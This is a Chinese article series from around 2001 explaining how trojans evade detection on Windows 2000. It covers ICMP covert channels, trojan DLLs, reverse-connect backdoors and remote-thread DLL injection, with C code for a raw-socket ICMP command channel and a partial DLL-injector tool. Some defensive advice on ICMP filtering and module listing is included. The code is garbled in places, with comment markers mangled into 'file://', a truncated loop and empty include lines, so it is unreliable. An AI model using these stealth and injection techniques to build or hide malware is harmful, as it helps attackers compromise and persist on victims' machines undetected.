揭开木马的神秘面纱zz 2

离冰河二的问世已经快一年了,大家对于木马这种远程控制软件也有了一定的认
识,比如:他会改注册表,他会监听端口等等,和一年前几乎没有人懂得木马是什么东
 
西相比,这是一个质的飞跃。但是,在这个连“菜鸟”都会用NETSTAT看端口,用
LOCKDOWN保护注册表的今天,难道木马就停步不前,等待我们的“杀戮”么?回答显然
 
是否定的。木马在这一年当中,同样也不断进步,不断发展,他们变得更加隐蔽,更加
 
灵活。本文试图通过分析近一年以来木马软件的发展,向大家介绍木马的最新攻防技
巧,从而使大家能够更加安全地畅游在Internet上。(本文中默认的操作系统为
Win2000,默认的编程环境是VC++6.0)
 在过去的一年当中,出过很多有名的木马,SUB7,BO2000,冰河等等,他们都有几个共
同的特点,比如:开TCP端口监听,写注册表等等,因此,针对这些特点,也涌现出了
不少查杀木马的工具,比如LockDown2000, Clean等,这些工具一般都是利用检查注册

表和端口来寻找木马(也有利用特征码来查找的,那种原始的思路我们就不说了,谁都
 
知道,只要源码稍微改改,特征码查询就毫无用处)甚至还出了一些号称能防范未来多
 
少年木马的软件。而在大家的不断宣传下,以下的木马法则已经妇孺皆知:
 1、 不要随便从不知名的网站上下载可执行文件,不要随便运行别人给的软件;
 2、不要过于相信别人,不要随便打开邮件的附件;
 3、经常检查自己的系统文件、注册表、端口、进程;
 4、经常去查看最新的木马公告,更新自己防火墙的木马库;
   这样看来,第一代木马的特性大家都已经耳熟能详,在这种情况下,作为一个地
下工作者,木马的日子会非常难过。那么,木马就这样甘受屠戮,坐以待毙么?人类就
 
这样灭绝了木马这个种族么?不是!木马为了生存,也在不断进化,在我们放松警惕,
 
庆祝胜利的时候,木马已经经历了几次质的突变,现在的木马比起他们的前辈要更加隐
 
蔽,更加巧妙,更难以发现,功能更强大。
   实际上在我们总结了老一辈木马的特征,并把它们写进杀马软件、编入防马教
程、挂在各个安全网站的首页的时候,木马们就意识到了自己的危险,为了自身的安
全,为了种族的延续,木马们认真地审视了自己的不足(没准也看了很多教程)觉得:
 
要想更好、更安全的发展下去,只有化缺点为优点,改短处为长处,否则只有死路一

条。于是,他们针对自己的不足,采取了以下的升级方案:
   一、关端口
 祸从口出,同样,端口也是木马的最大漏洞,经过大家的不断宣传,现在连一个刚刚
上网没有多久的“菜鸟”也知道用NETSTAT查看端口,木马的端口越做越高,越做越象
系统端口,被发现的概率却越来越大。但是端口是木马的生命之源,没有端口木马是无
 
法和外界进行通讯的,更不要说进行远程控制了。为了解决这个矛盾,木马们深入研究
 
了Richard Stevens的TCP/IP协议详解,决定:放弃原来他们赖以生存的端口,转而进
入地下。放弃了端口后木马怎么和控制端联络呢?对于这个问题,不同的木马采用了不
 
同的方法,大致分为以下两种方法:寄生、潜伏。
 1、 寄生就是找一个已经打开的端口,寄生其上,平时只是监听,遇到特殊的指令就
进行解释执行;因为木马实际上是寄生在已有的系统服务之上的,因此,你在扫描或查
 
看系统端口的时候是没有任何异常的。据我所知,在98下进行这样的操作是比较简单
的,但是对于Win2000 相对要麻烦得多。由于作者对这种技术没有很深的研究,在这里
 
就不赘述了,感兴趣的朋友可以去http://www.ahjmw.gov.cn/cit/或者西祠胡同的
WinSock版查看相关的资料。
 2、 潜伏是说使用IP协议族中的其它协议而非TCP/UDP来进行通讯,从而瞒过Netstat
和端口扫描软件。一种比较常见的潜伏手段是使用ICMP协议,ICMP(Internet控制报

文)是IP协议的附属协议,它是由内核或进程直接处理而不需要通过端口,一个最常见
 
的ICMP协议就是Ping,它利用了ICMP的回显请求和回显应答报文。一个普通的ICMP木马
 
会监听ICMP报文,当出现特殊的报文时(比如特殊大小的包、特殊的报文结构等)它会
 
打开TCP端口等待控制端的连接,这种木马在没有激活时是不可见的,但是一旦连接上
了控制端就和普通木马一样,本地可以看到状态为Established的链接(如果端口的最
大连接数设为1,在远程使用Connect方法进行端口扫描还是没有办法发现的);而一个
 
真正意义上的ICMP木马则会严格地使用ICMP协议来进行数据和控制命令的传递(数据放
 
在ICMP的报文中),在整个过程中,它都是不可见的。(除非使用嗅探软件分析网络流
 
量)
 3、 除了寄生和潜伏之外,木马还有其他更好的方法进行隐藏,比如直接针对网卡或
Modem进行底层的编程,这涉及到更高的编程技巧。
   二、隐藏进程。
   在win9x时代,简单的注册为系统进程就可以从任务栏中消失,可是在Window2000
 
盛行的今天,这种方法遭到了惨败,注册为系统进程不仅仅能在任务栏中看到,而且可

以直接在Services中直接控制停止、运行(太搞笑了,木马被客户端控制)。使用隐藏
 
窗体或控制台的方法也不能欺骗无所不见的ADMIN大人(要知道,在NT下,
Administrator是可以看见所有进程的)。在研究了其它软件的长处之后,木马发现,
Windows下的中文汉化软件采用的陷阱技术非常适合木马的使用。
   DLL陷阱技术是一种针对DLL(动态链接库)的高级编程技术,编程者用特洛伊DLL
 
替换已知的系统DLL,并对所有的函数调用进行过滤,对于正常的调用,使用函数转发
器直接转发给被替换的系统DLL,对于一些事先约定好的特殊情况,DLL会执行一些相对
应的操作,一个比较简单的方法是起一个进程,虽然所有的操作都在DLL中完成会更加
隐蔽,但是这大大增加了程序编写的难度,实际上这样的木马大多数只是使用DLL进行
监听,一旦发现控制端的连接请求就激活自身,起一个绑端口的进程进行正常的木马操
 
作。操作结束后关掉进程,继续进入休眠状况。
   因为大量特洛伊DLL的使用实际上已经危害到了Windows操作系统的安全和稳定
性,据说微软的下一代操作系统Window2001(海王星)已经使用了DLL数字签名、校验
技术,因此,特洛伊DLL的时代很快会结束。取代它的将会是强行嵌入代码技术(插入
DLL,挂接API,进程的动态替换等等),但是这种技术对于编写者的汇编功底要求很
高,涉及大量硬编码的机器指令,并不是一般的木马编写者可以涉足。(晕,我是门都
 
找不到,哪位高手可以指点我一下?)
   三、争夺系统控制权

木马们并不甘于老是处于防守的地位,他们也会进攻,也会主动出击。WINNT下的溢出
 
型木马就是这样的积极者,他们不仅仅简单的加载、守候、完成命令,而是利用种种系
 
统的漏洞设法使自己成为系统的拥有者-ADMIN,甚至系统的控制者-System。那么,木
马利用什么方法能一改过去到处逃亡的面目,从而成为系统的主宰呢?
 首当其冲的显然是注册表:多年驰骋注册表的历史使得木马非常熟悉注册表的构造和
特点(你呢,你能比木马更熟悉注册表么)Windows2000有几个注册表的权限漏洞,允
许非授权用户改写ADMIN的设置,从而强迫ADMIN执行木马程序,这个方法实现起来比较
 
容易,但是会被大多数的防火墙发现。
 其次是利用系统的权限漏洞,改写ADMIN的文件、配置等等,在ADMIN允许Active
Desktop的情况下这个方法非常好用,但是对于一个有经验的管理员,这个方法不是太
有效;
 第三个选择是系统的本地溢出漏洞,由于木马是在本地运行的,它可以通过本地溢出
的漏洞(比如IIS的本地溢出漏洞等),直接取得system的权限。这部分内容在袁哥和
很多汇编高手的文章中都有介绍,我就不再赘述了。(偷偷告诉你,其实是我说不出
来,我要是能写出那样的溢出程序我还用在这里......)
   四、防火墙攻防战
   现在,在个人防火墙如此之流行的今天,也许有人会说:我装个防火墙,不管你
用什么木马,在我系统上搞什么,防火墙设了只出不进,反正你没法连进来。同样,对

于局域网内的机器,原先的木马也不能有效的进行控制(难道指望网关会给你做NAT么
?)但是,城墙从来就挡不住木马:在古希腊的特洛伊战争中,人们是推倒了城墙来恭
 
迎木马的,而在这个互联网的时代,木马仍然以其隐蔽性和欺诈性使得防火墙被从内部
 
攻破。其中反弹端口型的木马非常清晰的体现了这一思路。
 反弹端口型木马分析了防火墙的特性后发现:防火墙对于连入的链接往往会进行非常
严格的过滤,但是对于连出的链接却疏于防范。于是,与一般的木马相反,反弹端口型
 
木马的服务端(被控制端)使用主动端口,客户端(控制端)使用被动端口,木马定时
 
监测控制端的存在,发现控制端上线立即弹出端口主动连结控制端打开的被动端口,为
 
了隐蔽起见,控制端的被动端口一般开在80,这样,即使用户使用端口扫描软件检查自
 
己的端口,发现的也是类似 TCP UserIP:1026 ControllerIP:80 ESTABLISHED的情
况,稍微疏忽一点你就会以为是自己在浏览网页。(防火墙也会这么认为的,我想大概
 
没有哪个防火墙会不给用户向外连接80端口吧,嘿嘿)看到这里,有人会问:那服务端
 
怎么能知道控制端的IP地址呢?难道控制端只能使用固定的IP地址?哈哈,那不是自己

找死么?一查就查到了。实际上,这种反弹端口的木马常常会采用固定IP的第三方存储
 
设备来进行IP地址的传递。举一个简单的例子:事先约定好一个个人主页的空间,在其
 
中放置一个文本文件,木马每分钟去GET一次这个文件,如果文件内容为空,就什么都
不做,如果有内容就按照文本文件中的数据计算出控制端的IP和端口,反弹一个TCP链
接回去,这样每次控制者上线只需要FTP一个INI文件就可以告诉木马自己的位置,为了
 
保险起见,这个IP地址甚至可以经过一定的加密,除了服务和控制端,其他的人就算拿
 
到了也没有任何的意义。对于一些能够分析报文、过滤TCP/UDP的防火墙,反弹端口型
木马同样有办法对付,简单的来说,控制端使用80端口的木马完全可以真的使用HTTP协
 
议,将传送的数据包含在HTTP的报文中,难道防火墙真的精明到可以分辨通过HTTP协议
 
传送的究竟是网页还是控制命令和数据?
   五、更加隐蔽的加载方式:
   记得一年前,大家觉得通过所谓图片传播的木马非常神秘,其实现在几乎人人都
知道那只是一个后缀名的小把戏,而绑定EXE文件的木马也随着“不要轻易执行可执行
文件”的警告变得越来越不可行,和过去不同是,现在木马的入侵方式更加的隐蔽,在
 
揉合了宏病毒的特性后,木马已经不仅仅通过欺骗来传播了,随着网站互动化进程的不

断进步,越来越多的东西可以成为木马传播的介质,JavaScript,VBScript, ActiveX,
XML......几乎WWW每一个新出来的功能都会导致木马的快速进化,曾几何时,邮件木马
 
从附件走向了正文,简单的浏览也会中毒,而一个Guest用户也可以很容易的通过修改
管理员的文件夹设置给管理员吃上一点耗子药。当我们小心翼翼地穿行在互联网森林中
 
的时候,也许正有无数双木马的眼睛在黑暗中窥视,他们在等待你的一次疏忽,一个小
 
小的疏忽,这将给他们一个完美的机会......
   一点点感想:
 入侵高手可能会对于木马的编写和防御不屑一顾,但是,许多入侵事件多多少少会有
木马的参与(这个时候,木马程序往往被叫做后门)在最近的微软被黑事件中,入侵者
 
使用的就是一种叫QAZ的木马,实际上,这种木马并不非常高级,甚至不能算是第二代
木马(只是一种通过共享传播的蠕虫木马),而正是一只小小的木马,让强大的微软丢
 
尽了脸。要知道:入侵者和黑客不同,对于入侵者来说,入侵是最终的目的,任何手
段,只要能最快最简单的进入,就是最好的手段,由于被入侵的用户大多数并不是专业
 
人员,所以木马往往是一个很好的选择。
 在撰写本文的过程中,曾经有朋友和我戏言:危言耸听。其实,事实并非如此,在本

文中描述的木马,虽然看起来匪夷所思,但是在互联网上大多已经有了样品出现,而
且,我相信,一定还有技术含量远远超过上述木马的软件正在开发中。
   编后说明:
 本文的撰写,并不是为了发展木马技术,扰乱互联网,而是为了能深入探讨木马的攻
击和防御技术,引起人们对木马的关注,尽量减小木马传播可能造成的危害。
 本文的撰写得到了Lion Hook、无影猫、李逍遥、Yagami、 Quack以及Glacier的指导
和帮助,在此向他们表示感谢。
在揭开木马的神秘面纱(二)发表后,有很多朋友来信询问新型木马的详细情况,本文
会详细的分析Win2000下一种新型木马的内部构造和防御方法。(本文默认的操作系统为
Win2000,开发环境为VC++6.0。)
  大家知道,一般的"古典"型木马都是通过建立TCP连接来进行命令和数据的传递的,
但是这种方法有一个致命的漏洞,就是木马在等待和运行的过程中,始终有一个和外界
联系的端口打开着,这是木马的阿喀琉斯之踵(参看希腊神话《特洛伊战纪》),也是
高手们查找木马的杀手锏之一(Netstat大法)。所谓道高一尺,魔高一丈,木马也是在
斗争中不断进步不断成长的,其中一种ICMP木马就彻底摆脱了端口的束缚,成为黑客入
侵后门工具中的佼佼者。
  什么是ICMP呢?ICMP全称是Internet Control Message Protocol(互联网控制报文
协议)它是IP协议的附属协议,用来传递差错报文以及其他需要注意的消息报文,这个
协议常常为TCP或UDP协议服务,但是也可以单独使用,例如著名的工具Ping(向Mike
Muuss致敬),就是通过发送接收ICMP_ECHO和ICMP_ECHOREPLY报文来进行网络诊断的。
 
  实际上,ICMP木马的出现正是得到了Ping程序的启发,由于ICMP报文是由系统内核

或进程直接处理而不是通过端口,这就给木马一个摆脱端口的绝好机会,木马将自己伪
装成一个Ping的进程,系统就会将ICMP_ECHOREPLY(Ping的回包)的监听、处理权交给
木马进程,一旦事先约定好的ICMP_ECHOREPLY包出现(可以判断包大小、ICMP_SEQ等特
征),木马就会接受、分析并从报文中解码出命令和数据。
  ICMP_ECHOREPLY包还有对于防火墙和网关的穿透能力。对于防火墙来说,ICMP报文
是被列为危险的一类:从Ping of Death到ICMP风暴到ICMP碎片攻击,构造ICMP报文一向
是攻击主机的最好方法之一,因此一般的防火墙都会对ICMP报文进行过滤;但是ICMP_E
CHOREPLY报文却往往不会在过滤策略中出现,这是因为一旦不允许ICMP_ECHOREPLY报文
通过就意味着主机没有办法对外进行Ping的操作,这样对于用户是极其不友好的。如果
设置正确,ICMP_ECHOREPLY报文也能穿过网关,进入局域网。
为了实现发送/监听ICMP报文,必须建立SOCK_RAW(原始套接口),首先,我们需要定义
一个IP首部:
typedef struct iphdr {
 unsigned int version:4; // IP版本号,4表示IPV4
 unsigned int h_len:4; // 4位首部长度
 unsigned char tos; // 8位服务类型TOS
 unsigned short total_len; // 16位总长度(字节)
 unsigned short ident; file://16位标识
 unsigned short frag_and_flags; // 3位标志位
 unsigned char ttl; file://8位生存时间 TTL
 unsigned char proto; // 8位协议 (TCP, UDP 或其他)
 unsigned short checksum; // 16位IP首部校验和

 unsigned int sourceIP; file://32位源IP地址
 unsigned int destIP; file://32位目的IP地址
}IpHeader;
  然后定义一个ICMP首部:
typedef struct _ihdr {
 BYTE i_type; file://8位类型
 BYTE i_code; file://8位代码
 USHORT i_cksum; file://16位校验和
 USHORT i_id; file://识别号(一般用进程号作为识别号)
 USHORT i_seq; file://报文序列号
 ULONG timestamp; file://时间戳
}IcmpHeader;
  这时可以同过WSASocket建立一个原始套接口:
SockRaw=WSASocket(
          AF_INET, file://协议族
          SOCK_RAW, file://协议类型,SOCK_RAW表示是原始套接口
          IPPROTO_ICMP, file://协议,IPPROTO_ICMP表示ICMP数据报
          NULL, file://WSAPROTOCOL_INFO置空
          0, file://保留字,永远置为0
          WSA_FLAG_OVERLAPPED file://标志位
          );
  注:为了使用发送接收超时设置(设置SO_RCVTIMEO, SO_SNDTIMEO),必须将标志

位置为WSA_FLAG_OVERLAPPED
随后你可以使用fill_icmp_data子程序填充ICMP报文段:
fill_icmp_data函数:
void fill_icmp_data(char * icmp_data, int datasize)
{
 IcmpHeader *icmp_hdr;
 char *datapart;
 icmp_hdr = (IcmpHeader*)icmp_data;
 icmp_hdr->i_type = ICMP_ECHOREPLY; file://类型为ICMP_ECHOREPLY
 icmp_hdr->i_code = 0;
 icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); file://识别号为进程号
 icmp_hdr->i_cksum = 0; file://校验和初始化
 icmp_hdr->i_seq = 0; file://序列号初始化
 datapart = icmp_data + sizeof(IcmpHeader); file://数据端的地址为icmp报文
                        地址加上ICMP的首部长度
 memset(datapart,"A", datasize - sizeof(IcmpHeader)); file://这里我填充的数

                全部为"A",你可以填充任何代码和数据,实际上
                木马和控制端之间就是通过数据段传递数据的。
}
  再使用CheckSum子程序计算ICMP校验和:
  调用方法:

((IcmpHeader*)icmp_data)->i_cksum
= checksum((USHORT*)icmp_data, datasize);
CheckSum函数:
USHORT CheckSum (USHORT *buffer, int size)
{
 unsigned long cksum=0;
 while(size >1)
  {
    cksum+=*buffer++;
    size -=sizeof(USHORT);
  }
  if(size ) cksum += *(UCHAR*)buffer;
  cksum = (cksum >> 16) + (cksum & 0xffff);
  cksum += (cksum >>16);
  return (USHORT)(~cksum);
}// CheckSum函数是标准的校验和函数,你也可以用优化过的任何校验和函数来代替它
 
  随后,就可以通过sendto函数发送ICMP_ECHOREPLY报文:
  sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)
);
  作为服务端的监听程序,基本的操作相同,只是需要使用recvfrm函数接收ICMP_EC
HOREPLY报文并用decoder函数将接收来的报文解码为数据和命令:

recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct
sockaddr*)&from,&fromlen);
decode_resp(recvbuf,recv_icmp,&from);
decoder函数:
void decoder(char *buf, int bytes,struct sockaddr_in *from)
{
 IpHeader *iphdr;
 IcmpHeader *icmphdr;
 unsigned short iphdrlen;
 iphdr = (IpHeader *)buf; file://IP首部的地址就等于buf的地址
 iphdrlen = iphdr->h_len * 4 ; // 因为h_len是32位word,要转换成bytes必须*4
 icmphdr = (IcmpHeader*)(buf + iphdrlen); file://ICMP首部的地址等于IP首部长
度加buf
 printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));
file://取出源地址
 printf(" icmp_id=%d. ",icmphdr->i_id); file://取出进程号
 printf(" icmp_seq=%d. ",icmphdr->i_seq); file://取出序列号
 printf(" icmp_type=%d",icmphdr->i_type); file://取出类型
 printf(" icmp_code=%d",icmphdr->i_code); file://取出代码
 for(i=0;ifile://取出数据段
}
  注:在WIN2000下使用SOCK_RAW需要管理员的权限。

是很难发现木马的行踪的(关于进程的隐藏及破解会在下一篇文章中进行讨论),那么
,有什么可以补救的方法呢?有的,就是过滤ICMP报文,对于win2000可以使用系统自带
的路由功能对ICMP协议进行过滤,win2000的Routing
& Remote Access功能十分强大,其中之一就是建立一个TCP/IP协议过滤器:打开Routi
ng & Remote Access,选中机器名,在IP路由->General->网卡属性中有两个过滤器-输
入过滤和输出过滤,只要在这里将你想过滤的协议制定为策略,ICMP木马就英雄无用武
之地了;不过值得注意的是,一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文,你就别
想再用Ping这个工具了;如果过滤了所有的ICMP报文,你就收不到任何错误报文,当你
使用IE访问一个并不存在的网站时,往往要花数倍的时间才能知道结果(嘿嘿,网络不
可达、主机不可达、端口不可达报文你一个都收不到),而且基于ICMP协议的tracert工
具也会失效,这也是方便和安全之间的矛盾统一了吧。
  本文的撰写是为了深入地研究Win2000的入侵和防御技术,探讨TCP/IP协议和Windo
ws编程技巧,请不要将文中的内容用于任何违法的目的,文中所附为试验性的ICMP通讯
程序,仅仅提供通过ICMP_ECHOREPLY进行通讯交换数据的功能以供研究;如果你对本文
中的内容或代码有疑问,请Mail
to:Shotgun@xici.net,但是出于网络安全的考虑,本人不会提供任何木马软件及代码。

NT系统下木马进程的隐藏与检测
Shotgun
    在WIN9X中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切
在WINNT中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能
欺骗WINNT的任务管理器,以至于很多的朋友问我:在WINNT下难道木马真的再也无法隐
藏自己的进程了?本文试图通过探讨WINNT中木马的几种常用隐藏进程手段,给大家揭示
木马/后门程序在WINNT中进程隐藏的方法和查找的途径。
我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都
有一个共同点,会生成一个独立的进程,查找特定进程是我们发现木马的主要方法之一
(无论手动还是防火墙),随着入侵检测软件的不断发展,关联进程和SOCKET已经成为
流行的技术(例如著名的FPort就能够检测出任何进程打开的TCP/UDP端口),假设一个
木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完
全失败(利用心理因素而非技术手段欺骗用户的木马不在我们的讨论范围之内)。在NT
下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两
个办法,第一是让系统管理员看不见(或者视而不见)你的进程;第二是不使用进程。

看不见进程的方法就是进行进程欺骗,为了了解如何能使进程看不见,我们首先要了解
怎样能看得见进程:在Windows中有多种方法能够看到进程的存在:PSAPI(Process St
atus API),PDH(Performance Data Helper),ToolHelp API,如果我们能够欺骗用
户或入侵检测软件用来查看进程的函数(例如截获相应的API调用,替换返回的数据),
我们就完全能实现进程隐藏,但是一来我们并不知道用户/入侵检测软件使用的是什么方
法来查看进程列表,二来如果我们有权限和技术实现这样的欺骗,我们就一定能使用其
它的方法更容易的实现进程的隐藏。
第二种方法是不使用进程,不使用进程使用什么?为了弄明白这个问题,我们必须要先
了解Windows系统的另一种“可执行文件”----DLL,DLL是Dynamic Link Library(动态
链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。
DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加
载并调用的。(你你你,你刚刚不是说不用进程了?)别急呀,听我慢慢道来:因为DL
L文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,
并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那
个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如资源管理器Explorer.
exe,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为
被信赖的一员而为所欲为。
运行DLL文件最简单的方法是利用Rundll32.exe,Rundll/Rundll32是Windows自带的动态
链接库工具,可以用来在命令行下执行动态链接库中的某个函数,其中Rundll是16位而
Rundll32是32位的(分别调用16位和32位的DLL文件),Rundll32的使用方法如下:
Rundll32.exe  DllFileName  FuncName

例如我们编写了一个MyDll.dll,这个动态链接库中定义了一个MyFunc的函数,那么,我
们通过Rundll32.exe  MyDll.dll  MyFunc就可以执行MyFunc函数的功能。
如何运行DLL文件和木马进程的隐藏有什么关系么?当然有了,假设我们在MyFunc函数中
实现了木马的功能,那么我们不就可以通过Rundll32来运行这个木马了么?在系统管理
员看来,进程列表中增加的是Rundll32.exe而并不是木马文件,这样也算是木马的一种
简易欺骗和自我保护方法(至少你不能去把Rundll32.exe删掉吧?)
使用Rundll32的方法进行进程隐藏是简易的,非常容易被识破。(虽然杀起来会麻烦一
点)比较高级的方法是使用特洛伊DLL,特洛伊DLL的工作原理是替换常用的DLL文件,将
正常的调用转发给原DLL,截获并处理特定的消息。例如,我们知道WINDOWS的Socket 1
.x的函数都是存放在wsock32.dll中的,那么我们自己写一个wsock32.dll文件,替换掉
原先的wsock32.dll(将原先的DLL文件重命名为wsockold.dll)我们的wsock32.dll只做
两件事,一是如果遇到不认识的调用,就直接转发给wsockold.dll(使用函数转发器fo
rward);二是遇到特殊的请求(事先约定的)就解码并处理。这样理论上只要木马编写
者通过SOCKET远程输入一定的暗号,就可以控制wsock32.dll(木马DLL)做任何操作。
特洛伊DLL技术是比较古老的技术,因此微软也对此做了相当的防范,在Win2K的system
32目录下有一个dllcache的目录,这个目录中存放着大量的DLL文件(也包括一些重要的
exe文件),这个是微软用来保护DLL的法宝,一旦操作系统发现被保护的DLL文件被篡改
(数字签名技术),它就会自动从dllcache中恢复这个文件。虽然说先更改dllcache目
录中的备份再修改DLL文件本身可以绕过这个保护,但是可以想见的是微软在未来必将更
加小心地保护重要的DLL文件,同时特洛伊DLL方法本身有着一些漏洞(例如修复安装、
安装补丁、检查数字签名等方法都有可能导致特洛伊DLL失效),所以这个方法也不能算
是DLL木马的最优选择。

DLL木马的最高境界是动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的
进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进
程是不允许对这个私有空间进行操作的(私人领地、请勿入内),但是实际上,我们仍
然可以利用种种方法进入并操作进程的私有内存。在多种动态嵌入技术中(窗口Hook、
挂接API、远程线程),我最喜欢的是远程线程技术(其实、其实我就会这一种……),
下面就为大家介绍一下远程线程技术。
远程线程技术指的是通过在另一个运行的进程中创建远程线程的方法进入那个线程的内
存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新
线程与主线程(就是进程创建时被同时自动建立的那个线程)共享地址空间以及其他的
资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新
线程,被创建的远程线程同样可以共享远程进程(注意:是远程进程!)的地址空间,
所以,实际上,我们通过创建一个远程线程,进入了远程进程的内存地址空间,也就拥
有了那个远程进程相当多的权限:例如启动一个DLL木马(与进入进程内部相比,启动一
个DLL木马是小意思,实际上我们可以随意篡改那个进程的数据)
闲话少说,我们来看代码:
首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果不允许打开,那么嵌入
就无法进行了,这往往是由于权限不够引起的,例如你试图打开一个受系统保护的进程

hRemoteProcess = OpenProcess(     PROCESS_CREATE_THREAD | //允许远程创建线程
 
                            PROCESS_VM_OPERATION  | //允许远程VM操作
                            PROCESS_VM_WRITE,        //允许远程VM写

FALSE, dwRemoteProcessId );
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的
权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
然后,我们可以建立LoadLibraryW这个线程来启动我们的DLL木马,LoadLibraryW函数是
在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路
径名pszLibFileName,(也就是木马DLL的全路径文件名),但是由于木马DLL是在远程
进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线
程读不到这个参数)
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
                MEM_COMMIT, PAGE_READWRITE);
//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
        pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
        GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
说明一下,上面我们计算的其实是自己这个进程内LoadLibraryW的入口地址,但是因为
kernel.dll模块在所有进程内的地址都是相同的(属于内核模块),所以这个入口地址
同样适用于远程进程。

OK,万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibrar
yW的入口地址)和传递的参数pszLibFileRemote(我们复制到远程进程内存空间的木马
DLL的全路径文件名)在远程进程内启动我们的木马DLL:
//启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread(hRemoteProcess,     //被嵌入的远程进程
NULL, 0,
                        pfnStartAddr,         //LoadLibraryW的入口地址
pszLibFileRemote, //木马DLL的全路径文件名
0, NULL);
至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编
写了以下的测试DLL,这个DLL什么都不做,仅仅返回所在进程的PID:
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
{    char * szProcessId = (char *)malloc(10*sizeof(char));
    switch (reason){
        case DLL_PROCESS_ATTACH:{
                //获取并显示当前进程ID
                _itoa(GetCurrentProcessId(), szProcessId, 10);
                MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
            }
        default:
        return TRUE;
    }

}
当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该
测试DLL弹出了1208字样的确认框,证明TestDLL.dll已经在Explorer.exe进程内正确地
运行了。(木马已经成为Explorer.exe的一部分)
DLL木马的查找:查找DLL木马的基本思路是扩展进程列表至内存模块列表,内存模块列
表将显示每个进程目前加载/调用的所有DLL文件,通过这种方法,我们能发现异常的DL
L文件(前提是你对所有进程需要调用的模块都很熟悉,天哪,这几乎是没有可能的事,
要知道随便哪个进程都会调用十七八个DLL文件,而Windows更是由数以千计的DLL所组成
的,谁能知道哪个有用哪个没用?)对此,我写了一个内存模块查看软件,在http://w
ww.patching.net/shotgun/ps.zip可以下载,该软件使用PSAPI,如果是NT4.0,需要PS
API.dll的支持,所以我把PSAPI.dll也放在了压缩包里。
进一步想想,用远程线程技术启动木马DLL还是比较有迹可寻的,如果事先将一段代码复
制进远程进程的内存空间,然后通过远程线程起动这段代码,那么,即使遍历进程内存
模块也无济于事;或者远程线程切入某个原本就需要进行SOCKET操作的进程(如iExplo
rer.exe),对函数调用或数据进行某些有针对的修改……这样的木马并不需要自己打开
端口,代码也只是存在于内存中,可以说如羚羊挂角,无迹可寻。
无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存
空间,这样不仅能很好地隐藏自己,也能更好的保护自己。
这个时候,我们可以说已经实现了一个真正意义上的木马,它不仅欺骗、进入你的计算
机,甚至进入了用户进程的内部,从某种意义上说,这种木马已经具备了病毒的很多特
性,例如隐藏和寄生(和宿主同生共死),如果有一天,出现了具备所有病毒特性的木
马(不是指蠕虫,而是传统意义上的寄生病毒),我想我并不会感到奇怪,倒会疑问这

一天为什么这么迟才到来。
附录:利用远程线程技术嵌入进程的模型源码:

//
//                                                                      //
//    Remote DLL  For Win2K by Shotgun                                    //
 
//              This Program can inject a DLL into Remote Process
   //
//                                                                      //
//    Released:    [2001.4]
   //
//    Author:        [Shotgun]
 //
//   Email:        [Shotgun@Xici.Net]                                      /
/
//    Homepage:                                                           //
 
//                [http://IT.Xici.Net]
  //
//                [http://WWW.Patching.Net]
//

//                                                                      //
//   USAGE:                                                            //
//              RmtDLL.exe PID[|ProcessName] DLLFullPathName             //
//   Example:                                                           //
//              RmtDLL.exe 1024 C:/WINNT/System32/MyDLL.dll             //
//              RmtDLL.exe Explorer.exe C:/MyDLL.dll                       /
/
//                                                                      //

//
#include
#include
#include
#include
DWORD ProcessToPID( char *);            //将进程名转换为PID的函数
void  CheckError  ( int, int, char *);        //出错处理函数
void  usage       ( char *);            //使用说明函数
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD  fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR  pszLibFileRemote=NULL;
void main(int argc,char **argv)

{
    int iReturnCode;
    char lpDllFullPathName[MAX_PATH];
    WCHAR pszLibFileName[MAX_PATH]={0};
    //处理命令行参数
    if (argc!=3) usage("Parametes number incorrect!");
